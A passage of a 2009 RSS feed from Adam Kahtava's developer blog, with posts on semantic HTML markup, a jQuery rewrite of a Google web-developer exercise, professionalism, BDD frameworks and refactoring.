<em>Cleaner, more meaningful, and with all the functionality of the former code. One <code>div</code> element and 3 classes for a single item.  ShamWow! <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/semantic-with-jquery/">View this markup in action.</a></em></p>
<p>Both of these markup snippets are visually and functionally equivalent. In the first example the <code>divs</code>, <code>classes</code>, and cryptic <code>ids</code> weigh down the page and pollute the meaning of the markup. In the later, a more semantic / structural approach is taken  Both these snippets were pulled from my attempts at <a href="http://adam.kahtava.com/journal/2009/07/09/the-google-exercise-revisited-semantic-markup-with-jquery/">the Google Web Developer Exercise.</a></p>
<p>Clean meaningful markup is the API that users and web crawlers consume - it's important and easy to keep things clean, it just takes a little experience. Thank goodness for patterns like <a href="http://en.wikipedia.org/wiki/Model–view–controller">MVC</a> that let us control our API (the markup).</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=d-VJlIclq_I:YVRqfiUp55Y:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=d-VJlIclq_I:YVRqfiUp55Y:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=d-VJlIclq_I:YVRqfiUp55Y:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=d-VJlIclq_I:YVRqfiUp55Y:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=d-VJlIclq_I:YVRqfiUp55Y:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=d-VJlIclq_I:YVRqfiUp55Y:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=d-VJlIclq_I:YVRqfiUp55Y:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=d-VJlIclq_I:YVRqfiUp55Y:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/d-VJlIclq_I" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/07/15/cronic-divitis-and-classitis-what-is-it/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/07/15/cronic-divitis-and-classitis-what-is-it/</feedburner:origLink></item>
		<item>
		<title>What Is Semantic / Structural Markup and Why Does It Matter?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/LfqDqQFSwAw/</link>
		<comments>http://adam.kahtava.com/journal/2009/07/13/what-is-semantic-structural-markup-and-why-does-it-matter/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 16:00:02 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[CSS]]></category>

		<category><![CDATA[DOM]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Web Standards]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1695</guid>
		<description><![CDATA[I always found the definition of "Semantic / Structural Markup" murky on the intertubes. I thought Jeffrey Zeldman described it well in his book Designing with Web Standards.

What Is Semantic / Structural Markup?
Markup is "semantic" when tags are chosen according to what they mean. For example, tagging a headline h1 because it is the most [...]]]></description>
			<content:encoded><![CDATA[<p>I always found the definition of "Semantic / Structural Markup" murky on the intertubes. I thought Jeffrey Zeldman described it well in his book <a href="http://www.amazon.com/Designing-Web-Standards-Jeffrey-Zeldman/dp/0321385551/">Designing with Web Standards</a>.<br />
<strong></strong></p>
<p><strong>What Is Semantic / Structural Markup?</strong></p>
<blockquote><p><strong>Markup is "semantic" when tags are chosen according to what they mean.</strong> For example, tagging a headline <code>h1</code> because it is the most important headline on the page is a semantic authoring practice. Tagging a headline <code>h1</code> "to make it look big" is not. ... I use the phrase "structural markup" to mean pretty much the same thing as "semantic markup." ("Structural markup" takes its name specifically from the idea that the web document has an outline-like structure.) - Jeffrey Zeldman, <a href="http://www.amazon.com/Designing-Web-Standards-Jeffrey-Zeldman/dp/0321385551/">Designing with Web Standards</a></p></blockquote>
<p>Zeldman goes on to make many great points on why semantic markup matters, here's my paraphrase.</p>
<p><strong>Why Does Semantic / Structural Markup Matter?</strong></p>
<ul>
<li>it helps make web sites more <a href="http://en.wikipedia.org/wiki/Web_accessibility">accessibile</a></li>
<li>it provides a means to meet <a href="http://en.wikipedia.org/wiki/Web_accessibility#Guidelines_on_accessible_web_design">government mandatied web accessibility guidelines</a></li>
<li>it's a critical component for <a href="http://en.wikipedia.org/wiki/Search_engine_optimization">Search Engine Optimization (SEO)</a> because <em><strong>the Google search engine is the biggest blind user on the web</strong></em> - Zeldman</li>
<li>doing the right thing is the right way to do things - developers should have a sense of pride in being a craftsman :)</li>
<li>did I mention Search Engine Optimization?</li>
</ul>
<p>If you're interested in learning more about semantic markup then view <a href="http://www.alistapart.com/">A List Apart's</a> source code, or read their many online resources: <a href="http://www.alistapart.com/topics/topic/htmlxhtml/">Topics: Code: HTML and XHTML</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LfqDqQFSwAw:eZGKHzwZKsY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LfqDqQFSwAw:eZGKHzwZKsY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=LfqDqQFSwAw:eZGKHzwZKsY:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LfqDqQFSwAw:eZGKHzwZKsY:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=LfqDqQFSwAw:eZGKHzwZKsY:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LfqDqQFSwAw:eZGKHzwZKsY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=LfqDqQFSwAw:eZGKHzwZKsY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LfqDqQFSwAw:eZGKHzwZKsY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/LfqDqQFSwAw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/07/13/what-is-semantic-structural-markup-and-why-does-it-matter/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/07/13/what-is-semantic-structural-markup-and-why-does-it-matter/</feedburner:origLink></item>
		<item>
		<title>RailsEnvy: Funny Geeky Videos on MVC and HTML</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/GRtiF0sOPVM/</link>
		<comments>http://adam.kahtava.com/journal/2009/07/10/railsenvy-funny-geeky-videos-on-mvc/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 16:00:33 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Videos]]></category>

		<category><![CDATA[Web Standards]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1678</guid>
		<description><![CDATA[
MVC Public Service Announcement #6 : Modularity from EnvyAds on Vimeo.
Keep watching these videos here: http://www.railsenvy.com/tags/MVC
]]></description>
			<content:encoded><![CDATA[<p><object width="400" height="225"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=1790589&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=1790589&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="225"></embed></object>
<p><a href="http://vimeo.com/1790589">MVC Public Service Announcement #6 : Modularity</a> from <a href="http://vimeo.com/user496766">EnvyAds</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>Keep watching these videos here: <a href="http://www.railsenvy.com/tags/MVC">http://www.railsenvy.com/tags/MVC</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=GRtiF0sOPVM:sIg-cLs3Heg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=GRtiF0sOPVM:sIg-cLs3Heg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=GRtiF0sOPVM:sIg-cLs3Heg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=GRtiF0sOPVM:sIg-cLs3Heg:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=GRtiF0sOPVM:sIg-cLs3Heg:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=GRtiF0sOPVM:sIg-cLs3Heg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=GRtiF0sOPVM:sIg-cLs3Heg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=GRtiF0sOPVM:sIg-cLs3Heg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/GRtiF0sOPVM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/07/10/railsenvy-funny-geeky-videos-on-mvc/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/07/10/railsenvy-funny-geeky-videos-on-mvc/</feedburner:origLink></item>
		<item>
		<title>The Google Exercise Revisited: Semantic Markup with jQuery</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/JsmdQ4dQpQM/</link>
		<comments>http://adam.kahtava.com/journal/2009/07/09/the-google-exercise-revisited-semantic-markup-with-jquery/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 16:00:23 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[AJAX]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[Google Exercise]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Programming Languages]]></category>

		<category><![CDATA[Web Standards]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1641</guid>
		<description><![CDATA[A couple years ago I tried getting a Web Developer position at Google. After a few interviews they had me complete their Web Developer exercise. I did it, and my initial submission would have made any respectable web developer ill - you can read more here: Getting a Job at Google: A Web Developer Fizzbuzz. [...]]]></description>
			<content:encoded><![CDATA[<p>A couple years ago I tried getting a Web Developer position at Google. After a few interviews they had me complete their Web Developer exercise. I did it, and my initial submission would have made any respectable web developer ill - you can read more here: <a href="http://adam.kahtava.com/journal/2008/05/24/getting-a-job-at-google-a-web-developer-fizzbuzz/">Getting a Job at Google: A Web Developer Fizzbuzz</a>. I <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/non-semantic-pure-javascript/">redid the exercise</a> over a year ago, but today even that code stink.</p>
<p><strong>I did the exercise yet again (the third time) because my last attempt needed some improvements:</strong></p>
<ul>
<li>it suffered from <a href="http://adam.kahtava.com/journal/2009/07/15/cronic-divitis-and-classitis-what-is-it/">chronic classitis and divitis</a> (too many classes, ids, and divs were making me itchy)</li>
<li>it wasn't really using <a href="http://brainstormsandraves.com/articles/semantics/structure/">semantic / structural</a> markup (all the extra divs etc... cluttered my markup, and some of my class names like <code>container-borders</code> are non-semantic altogether)</li>
<li>it performed poorly and wasn't accessible (everything was being rendered in the DOM, there was no immediate rendered markup which kind of violated the idea of <a href="http://en.wikipedia.org/wiki/Unobtrusive_JavaScript">unobtrusive JavaScript</a>, nor was it screen reader friendly)</li>
<li>it wasn't making use of any JavaScript libraries to abstract browser inconsistencies out of the code</li>
<li>it suffered from my <a href="http://adam.kahtava.com/journal/2008/02/17/software-ethnocentrism-staving-off-tunnel-vision/">software ethnocentrism</a> (my variable and object naming like <code>GoogleExercise</code> was mirroring statically typed languages and not the native language they were being written in)
</ul>
<p><strong>Here's my latest Google Exercise (addressing all the above concerns):</strong><br />
<iframe src="http://adam.kahtava.com/etcetera/google-web-developer-exercises/semantic-with-jquery/" style="border-width: 0px; width: 320px; height: 300px; margin-left: 15px; float: left;"> </iframe><em>View this post outside your RSS reader to see it in action or view it <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/semantic-with-jquery/">here</a>.</em></p>
<p>This attempt makes use of <a href="http://jquery.com/">jQuery</a> and uses 57 lines of JavaScript (almost 200 lines less from my last one). </p>
<p>You can view the code for this attempt here: <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/semantic-with-jquery/google.contact.widget.js">google.contact.widget.js</a>, <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/semantic-with-jquery/index.html">index.html</a>, <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/semantic-with-jquery/google-contact-widget.css">google-contact-widget.css</a>. </p>
<p>You can view the old code here: <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/non-semantic-pure-javascript/GoogleExercise.js">GoogleExercise.js</a>, <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/non-semantic-pure-javascript/index.html">index.html</a>, <a href="http://adam.kahtava.com/etcetera/google-web-developer-exercises/non-semantic-pure-javascript/GoogleExercise.css">GoogleExercise.css</a>.</p>
<p>If you think I can improve on my code then let me know. Oh yeah, and if you're a recruiter from Google then hire me! :)</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=JsmdQ4dQpQM:JAMPh7qE5ng:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=JsmdQ4dQpQM:JAMPh7qE5ng:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=JsmdQ4dQpQM:JAMPh7qE5ng:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=JsmdQ4dQpQM:JAMPh7qE5ng:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=JsmdQ4dQpQM:JAMPh7qE5ng:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=JsmdQ4dQpQM:JAMPh7qE5ng:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=JsmdQ4dQpQM:JAMPh7qE5ng:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=JsmdQ4dQpQM:JAMPh7qE5ng:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/JsmdQ4dQpQM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/07/09/the-google-exercise-revisited-semantic-markup-with-jquery/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/07/09/the-google-exercise-revisited-semantic-markup-with-jquery/</feedburner:origLink></item>
		<item>
		<title>What Does Professional Mean To You?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/OwY6hCAQ2XA/</link>
		<comments>http://adam.kahtava.com/journal/2009/06/26/what-does-professional-mean-to-you/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 16:00:44 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1625</guid>
		<description><![CDATA[My idea of professionalism continually changes. 
As an entry level developer I thought professional meant:

talking incessantly about technology (hiding my personal life behind shop talk)
dressing up for my cubical (wearing polyester dress pants, cotton dress shirts to work, and occasionally ties)
focusing on things that can be proven (giving little concern to interpersonal relationships or the [...]]]></description>
			<content:encoded><![CDATA[<p>My idea of professionalism continually changes. </p>
<p>As an entry level developer I thought professional meant:</p>
<ul>
<li>talking incessantly about technology (hiding my personal life behind shop talk)</li>
<li>dressing up for my cubical (wearing polyester dress pants, cotton dress shirts to work, and occasionally ties)</li>
<li>focusing on things that can be proven (giving little concern to interpersonal relationships or the general untestable messiness surrounding softskills)</li>
<li>writing the FASTEST CODE EVER (I was sidtracked with <a href="http://en.wikipedia.org/wiki/Optimization_(computer_science)#When_to_optimize">premature optimizations</a>)</li>
<li>I tried to be a programming machine (working 29 hours a day)</li>
<li>becoming an <a href="http://mvp.support.microsoft.com/">Microsoft Most Valueable Professional (MVP)</a></li>
</ul>
<p>Those ideas were skewed and I was probably running the risk of becoming a bit of a douche. </p>
<p>Today I think professionalism means:</p>
<ul>
<li>being comfortable in your own skin</li>
<li>being able to delegate tasks within a team</li>
<li>being an effective member of a team (not participating in gossip, back talk, or other activities that erode a team)</li>
<li>being transparent</li>
<li>maintaining a work / life balance</li>
<li>choosing the best tool for the task</li>
</ul>
<p>It's funny how experience can change perspectives. I wonder what my definition of professionalism will be in five years?</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=OwY6hCAQ2XA:fwPGsSyRcRA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=OwY6hCAQ2XA:fwPGsSyRcRA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=OwY6hCAQ2XA:fwPGsSyRcRA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=OwY6hCAQ2XA:fwPGsSyRcRA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=OwY6hCAQ2XA:fwPGsSyRcRA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=OwY6hCAQ2XA:fwPGsSyRcRA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=OwY6hCAQ2XA:fwPGsSyRcRA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=OwY6hCAQ2XA:fwPGsSyRcRA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/OwY6hCAQ2XA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/06/26/what-does-professional-mean-to-you/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/06/26/what-does-professional-mean-to-you/</feedburner:origLink></item>
		<item>
		<title>Behaviour Driven Development Frameworks are for Geeks and Crackpots</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/yE9OMlSsNfE/</link>
		<comments>http://adam.kahtava.com/journal/2009/06/24/behaviour-driven-development-frameworks-are-for-geeks-and-crackpots/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:00:22 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<category><![CDATA[Testing]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1597</guid>
		<description><![CDATA[Behaviour Driven Development (BDD) generally makes use of Mocks, Unit Tests, or specialized BDD Specification Frameworks like RSpec, MSpec, NSpec, JBehave, NBehave. View the list of other BDD frameworks here and read more about BDD here: A New Look at Test Driven Development.
Now, I've been finding Behaviour Driven Development fascinating in a geeky kind of way (kind [...]]]></description>
			<content:encoded><![CDATA[<p><a style="float: right;" href="http://www.flickr.com/photos/dlemieux/325512823/"><img src="http://farm1.static.flickr.com/136/325512823_b81d400fdc_m.jpg" alt="" /></a><a href="http://en.wikipedia.org/wiki/Behavior_Driven_Development">Behaviour Driven Development (BDD)</a> generally makes use of <a href="http://en.wikipedia.org/wiki/Mock_object">Mocks</a>, <a href="http://en.wikipedia.org/wiki/Unit_testing">Unit Tests</a>, or specialized BDD Specification Frameworks like <a href="http://rspec.info/">RSpec</a>, <a href="http://github.com/machine/machine/tree/master">MSpec</a>, <a href="http://nspec.tigris.org/">NSpec</a>, <a href="http://jbehave.org/">JBehave</a>, <a href="http://code.google.com/p/nbehave/">NBehave</a>. <em>View the list of other BDD frameworks </em><a href="http://en.wikipedia.org/wiki/Behavior_Driven_Development#Tools"><em>here</em></a><em> and read more about BDD here: </em><a href="http://techblog.daveastels.com/2005/07/05/a-new-look-at-test-driven-development/"><em>A New Look at Test Driven Development</em></a><em>.</em></p>
<p>Now, I've been finding Behaviour Driven Development fascinating in a geeky kind of way (kind of like functional programming languages, and programming paradigm debates), but BDD has left a gnawing uneasiness in the back of my mind - generally this mind chewing begins when I'm missing the bigger picture or when something just isn't right. I got a chuckle out of Spolsky's writing as he discusses specification frameworks:</p>
<blockquote><p><strong>the geeks ... focus on things they can see in the code, rather than waiting for the users to judge. They’re programmers, so they try to automate everything in their life, and of course they try to automate the QA process.</strong> This is how you get unit testing ... In order to mechanically prove that a program corresponds to some spec, the spec itself needs to be extremely detailed. In fact the spec has to define everything about the program, otherwise, nothing can be proven automatically and mechanically. Now, <strong>if the spec does define everything about how the program is going to behave, then, lo and behold, it contains all the information necessary to generate the program!</strong> And now certain geeks go off to a very dark place where they start thinking about automatically compiling specs into programs, and they start to think that they’ve just invented a way to program computers without programming.</p>
<p>Now, <strong>this is the software engineering equivalent of a perpetual motion machine. It’s one of those things that crackpots keep trying to do, no matter how much you tell them it could never work.</strong> - <a href="http://www.joelonsoftware.com/items/2007/12/03.html">Talk at Yale: Part 1 of 3, Joel Spolsky</a></p></blockquote>
<p>Hehehe... Anyhow; I need to cut this post short. My <a href="http://www.brian-mcdermott.com/fusion_is_easy.htm">DIY Nuclear Fusion Reactor</a> and perpetual motion machine are calling my name. Errrr... I mean, I need to continue working through the <a href="http://www.amazon.com/RSpec-Book-Behaviour-Development-Cucumber/dp/1934356379/">RSpec book</a> and playing around with other specification frameworks, because there's always value in learning something new.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=yE9OMlSsNfE:ihjQ6-lXGNg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=yE9OMlSsNfE:ihjQ6-lXGNg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=yE9OMlSsNfE:ihjQ6-lXGNg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=yE9OMlSsNfE:ihjQ6-lXGNg:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=yE9OMlSsNfE:ihjQ6-lXGNg:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=yE9OMlSsNfE:ihjQ6-lXGNg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=yE9OMlSsNfE:ihjQ6-lXGNg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=yE9OMlSsNfE:ihjQ6-lXGNg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/yE9OMlSsNfE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/06/24/behaviour-driven-development-frameworks-are-for-geeks-and-crackpots/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/06/24/behaviour-driven-development-frameworks-are-for-geeks-and-crackpots/</feedburner:origLink></item>
		<item>
		<title>Stop Refactoring</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/sLe66tMGA5M/</link>
		<comments>http://adam.kahtava.com/journal/2009/06/19/stop-refactoring/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 16:00:44 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[DDD]]></category>

		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1556</guid>
		<description><![CDATA[Eric Evans provides this interesting commentary while he discusses refactoring targets:
When you encounter a large system that is poorly factored, where do you start? In the XP community, the answer tends to be either one of the these:

Just start anywhere, because it all has to be refactored.
Start wherever it is hurting. I'll refactor what I [...]]]></description>
			<content:encoded><![CDATA[<p>Eric Evans provides this interesting commentary while he discusses refactoring targets:</p>
<blockquote><p>When you encounter a large system that is poorly factored, where do you start? In the XP community, the answer tends to be either one of the these:</p>
<ol>
<li>Just start anywhere, because it all has to be refactored.</li>
<li>Start wherever it is hurting. I'll refactor what I need to in order to get my specific task done.</li>
</ol>
<p>I don't hold with either of these. The first is impracticable except in a few projects staffed entirely with top programmers. The second tends to pick around the edges, treating symptoms and ignoring the root causes, shying away from the worst tangles. - <a href="http://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215/">Domain Driven Design, Eric Evans</a></p></blockquote>
<p>I can think of many times where developers (myself included) have really just been <a href="http://www.codinghorror.com/blog/archives/000150.html">gold plating</a> under the guise of refactoring, or other times when refactoring activities contributed superficial cosmetic changes while the real mess lies beneath - getting to the root of the problem requires significantly more time and work than we're often allocated and the cosmetic changes give us a sense of motion without moving. Then there are the occasions where seemingly superficial refactorings lead to an insightful break through.</p>
<p>Of course Evans isn't suggesting that we stop refactoring altogether, instead he suggests that we think about what we're refactoring, and that we focus on the parts of our software that provide the most value - in the context of Domain Driven Design this would be our <a href="http://domaindrivendesign.org/node/99">Core Domain</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sLe66tMGA5M:m7a4HI1mdY0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sLe66tMGA5M:m7a4HI1mdY0:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=sLe66tMGA5M:m7a4HI1mdY0:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sLe66tMGA5M:m7a4HI1mdY0:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=sLe66tMGA5M:m7a4HI1mdY0:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sLe66tMGA5M:m7a4HI1mdY0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=sLe66tMGA5M:m7a4HI1mdY0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sLe66tMGA5M:m7a4HI1mdY0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
